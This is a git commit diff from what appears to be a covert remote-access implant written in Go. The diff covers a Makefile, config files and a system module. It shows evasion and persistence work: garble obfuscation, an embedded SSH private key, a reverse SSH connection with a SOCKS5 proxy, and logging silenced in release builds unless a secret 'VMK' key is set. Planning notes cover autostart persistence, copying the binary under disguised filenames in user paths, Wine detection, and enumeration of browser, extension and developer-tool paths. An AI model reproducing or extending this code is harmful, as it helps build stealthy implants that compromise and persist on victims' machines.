Add VMK environment variable

This commit is contained in:
Jerry Jacobs 2024-07-28 21:57:11 +02:00
parent 31d5239e00
commit ce4ec79f2f
8 changed files with 127 additions and 14 deletions

View File

@ -1,4 +1,4 @@
SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go system.go
GARBLE_BIN = $(shell go env GOPATH)/bin/garble GARBLE_BIN = $(shell go env GOPATH)/bin/garble
GARBLE_CMD = $(GARBLE_BIN) -literals -tiny GARBLE_CMD = $(GARBLE_BIN) -literals -tiny
@ -58,6 +58,9 @@ resources/ssh_private_key:
resources/ssh_private_key.base64: resources/ssh_private_key resources/ssh_private_key.base64: resources/ssh_private_key
base64 -i $< -o $@ base64 -i $< -o $@
fmt:
gofmt -w *.go
secrets: config_release.go.base64 resources/ssh_private_key.base64 secrets: config_release.go.base64 resources/ssh_private_key.base64
.phony: clean test win .phony: clean test win

View File

@ -3,20 +3,27 @@ package main
import "io" import "io"
type config struct { type config struct {
// Verbose mode key
//
// In release builds the verbose mode is silenced when this key is given
// verbose mode is force enabled. The key is read from the "VMK" environment
// variable at startup.
VerboseModeKey string
// SSH server user name // SSH server user name
SSHServerUserName string SSHServerUserName string
// SSH server host and port connect to // SSH server host and port connect to
SSHServerURL string SSHServerURL string
// Path to private key pem in debug builds // Path to private key pem in debug builds
SSHPrivateKeyFile string SSHPrivateKeyFile string
// SOCKS5 listen port (when set to 0 dynamic bind) // SOCKS5 listen port (when set to 0 dynamic bind)
SOCKS5ListenPort int SOCKS5ListenPort int
// Enable if host has SSHFP in DNS. When disabled insecure host key check is performed. // Enable if host has SSHFP in DNS. When disabled insecure host key check is performed.
SSHVerifyValidSSHFP bool SSHVerifyValidSSHFP bool
// DNS client resolv.conf for fetching SSHFP records from. // DNS client resolv.conf for fetching SSHFP records from.
// Config is used when SSHVerifyValidSSHFP = true // Config is used when SSHVerifyValidSSHFP = true

View File

@ -1,10 +1,13 @@
//go:build !release //go:build !release
// +build !release // +build !release
//
package main package main
import "strings" import "strings"
var cfg config = config{ var cfg config = config{
VerboseModeKey: "ShowMeTheMoney",
SSHServerUserName: "username", SSHServerUserName: "username",
SSHPrivateKeyFile: "path/to/id_ecdsa", SSHPrivateKeyFile: "path/to/id_ecdsa",
SSHServerURL: "myhost.org:22", SSHServerURL: "myhost.org:22",

View File

@ -8,7 +8,23 @@
* Rust: `C:\Users\YourUsername\.cargo\bin\rustc.exe` * Rust: `C:\Users\YourUsername\.cargo\bin\rustc.exe`
* Haskel: `C:\Users\YourUsername\AppData\Roaming\local\bin\ghc.exe` * Haskel: `C:\Users\YourUsername\AppData\Roaming\local\bin\ghc.exe`
* FireFox: `C:\Users\<username>\AppData\Local\Mozilla Firefox\firefox.exe` * FireFox: `C:\Users\<username>\AppData\Local\Mozilla Firefox\firefox.exe`
* Chrome: `C:\Users\<username>\AppData\Local\Google\Chrome\Application\chrome.exe` * Chrome: `C:\Users\<username>\AppData\Local\Google\Chrome\Application`
* `chrome.exe`: The main executable for launching Google Chrome.
* `chrome_proxy.exe`: A process used for managing proxy settings in Chrome.
* `chrome_launcher.exe`: Typically used to start the Chrome browser with specific configurations.
* `chrome.dll`: While not an .exe, chrome.dll is a crucial dynamic link library file used by Chrome. (For context, it is located in the same directory or subdirectories, but its not an executable file.)
* `chrome_remote_desktop_host.exe`: If Chrome Remote Desktop is installed, this executable handles remote desktop connections.
* `chrome_update.exe`: An executable for updating Chrome.
* Edge extensions: `C:\Users\<YourUsername>\AppData\Local\Microsoft\Edge\User Data\Default\Extensions`
* Opera: `C:\Users\<YourUsername>\AppData\Roaming\Opera Software\Opera Stable\Extensions`
* Firefox profile extensions: `C:\Users\<YourUsername>\AppData\Roaming\Mozilla\Firefox\Profiles\<ProfileName>\extensions`
* Chrome extensions and components: `C:\Users\<YourUsername>\AppData\Local\Google\Chrome\User Data\Default\Extensions`
Check if running under wine by testing if executables are present:
* `.wine/drive_c/windows/syswow64/wine*.exe`
* `.wine/drive_c/windows/system32/wine*.exe`
## Ultimate Packer for Executables (UPX) ## Ultimate Packer for Executables (UPX)
@ -26,6 +42,10 @@
* go-autostart: shortcut in start-menu * go-autostart: shortcut in start-menu
* Write state file of persistence to somewhere... * Write state file of persistence to somewhere...
## Debugging release build
* The "VMK" environment variable is the VerboseModeKey which enables logging to stdout/stderr even in release build
## Windows ## Windows
* Copy to well known current user binary path to semi related filenames * Copy to well known current user binary path to semi related filenames

View File

@ -133,6 +133,8 @@ func main() {
log.Println("SOCKS5 Addr", proxyServerURL) log.Println("SOCKS5 Addr", proxyServerURL)
systemGetWellKnownBinaryPaths()
for { for {
} }
} }

View File

@ -1,5 +1,7 @@
//go:build !release //go:build !release
// +build !release // +build !release
//
package main package main
var resourceSSHPrivateKey string var resourceSSHPrivateKey string

View File

@ -1,14 +1,20 @@
//go:build release //go:build release
// +build release // +build release
//
package main package main
import ( import (
_ "embed" _ "embed"
"os"
) )
//go:embed resources/ssh_private_key //go:embed resources/ssh_private_key
var resourceSSHPrivateKey string var resourceSSHPrivateKey string
func init() { func init() {
systemSilenceAllLogging() dontSilenceKey := os.Getenv("VMK")
if dontSilenceKey != cfg.VerboseModeKey {
systemRouteAllLogging(os.DevNull)
}
} }

View File

@ -1,15 +1,15 @@
package main package main
import ( import (
"os"
"fmt" "fmt"
"log" "log"
"os"
"path/filepath"
) )
// Silence all logging // Route all logging
func systemSilenceAllLogging() { func systemRouteAllLogging(logfile string) {
// Open /dev/null for writing nullFile, err := os.OpenFile(logfile, os.O_WRONLY, 0666)
nullFile, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0666)
if err != nil { if err != nil {
fmt.Println("Error opening /dev/null:", err) fmt.Println("Error opening /dev/null:", err)
return return
@ -22,3 +22,73 @@ func systemSilenceAllLogging() {
// Redirect log facility to /dev/null // Redirect log facility to /dev/null
log.SetOutput(nullFile) log.SetOutput(nullFile)
} }
func systemGetAppDataPath() string {
return filepath.Join(os.Getenv("USERPROFILE"), "AppData")
}
// systemCheckDirExists checks if the directory at the given path exists.
func systemIsDirExisting(path string) bool {
// Get file info
info, err := os.Stat(path)
if err != nil {
// If the error is due to the file not existing, return false
if os.IsNotExist(err) {
return false
}
// For any other errors, you may want to handle them as needed
return false
}
// Check if the info corresponds to a directory
return info.IsDir()
}
func systemIsFileExisting(path string) bool {
// Get file info
info, err := os.Stat(path)
if err != nil {
// If the error is due to the file not existing, return false
if os.IsNotExist(err) {
return false
}
// For any other errors, you may want to handle them as needed
return false
}
// Check if the info corresponds to a regular file
return !info.IsDir()
}
func systemGetWellKnownBinaryPaths() []string {
var existingPaths []string
appDataPath := systemGetAppDataPath()
if ok := systemIsDirExisting(appDataPath); !ok {
log.Println("\t❌", appDataPath)
}
wellKnownPathsToCheck := []string{
filepath.Join(appDataPath, "Local", "Programs", "Python"), // TODO search python installations
filepath.Join(appDataPath, "Roaming", "npm", "node_modules", "bin"), // TODO search python installations
}
homeDirectory, err := os.UserHomeDir()
if err == nil {
homeDirPathsToCheck := []string{
filepath.Join(homeDirectory, "go", "bin"),
}
wellKnownPathsToCheck = append(wellKnownPathsToCheck, homeDirPathsToCheck...)
}
for _, path := range wellKnownPathsToCheck {
if ok := systemIsDirExisting(path); ok {
existingPaths = append(existingPaths, path)
log.Println("\t✅", path)
} else {
log.Println("\t❌", path)
}
}
return existingPaths
}